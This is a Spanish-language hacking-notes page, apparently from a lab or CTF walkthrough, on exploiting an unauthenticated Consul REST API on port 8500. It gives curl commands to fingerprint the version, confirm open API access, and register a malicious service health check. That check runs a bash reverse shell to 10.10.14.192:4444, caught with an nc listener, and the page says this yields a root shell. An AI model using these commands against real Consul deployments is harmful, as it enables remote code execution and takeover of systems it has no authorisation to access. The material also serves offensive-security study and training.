> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/consul-8500.md).
# Consul - 8500
Exposición de la API REST de Consul y registro malicioso de comprobaciones de servicio para ejecutar una shell inversa.
### Descubrimiento del puerto 8500 (Consul)
Puerto **8500** expone la interfaz web de Consul.
Después de consultar `127.0.0.1:8500/ui/`, versión de Consul **1.19.2** se encuentra.
```bash
curl 127.0.0.1:8500/ui/
```
#### Verificación del acceso a la API REST
Comprueba si la API REST de Consul es accesible sin autenticación:
```bash
curl http://127.0.0.1:8500/v1/agent/self
```
La respuesta confirma que la API está expuesta.
### Explotación mediante una comprobación maliciosa
{% embed url="" %}
Registra un servicio con una comprobación maliciosa que ejecute una shell inversa de bash:
```bash
nc -lvnp 4444
```
#### Registro de un servicio con una comprobación maliciosa
Consul permite el registro dinámico de servicios mediante solicitudes HTTP. Abusa de este comportamiento para crear una comprobación que ejecute un comando bash.
```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
"Name": "pwned",
"ID": "pwned",
"Check": {
"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
"Interval": "10s"
}
}'
```
Comportamiento del payload:
* `Check.Args[]`: contiene un comando bash que abre una **shell inversa**.
* `Intervalo`: establece una ejecución automática cada 10 segundos.
Al ejecutar este payload se obtiene una shell de root.
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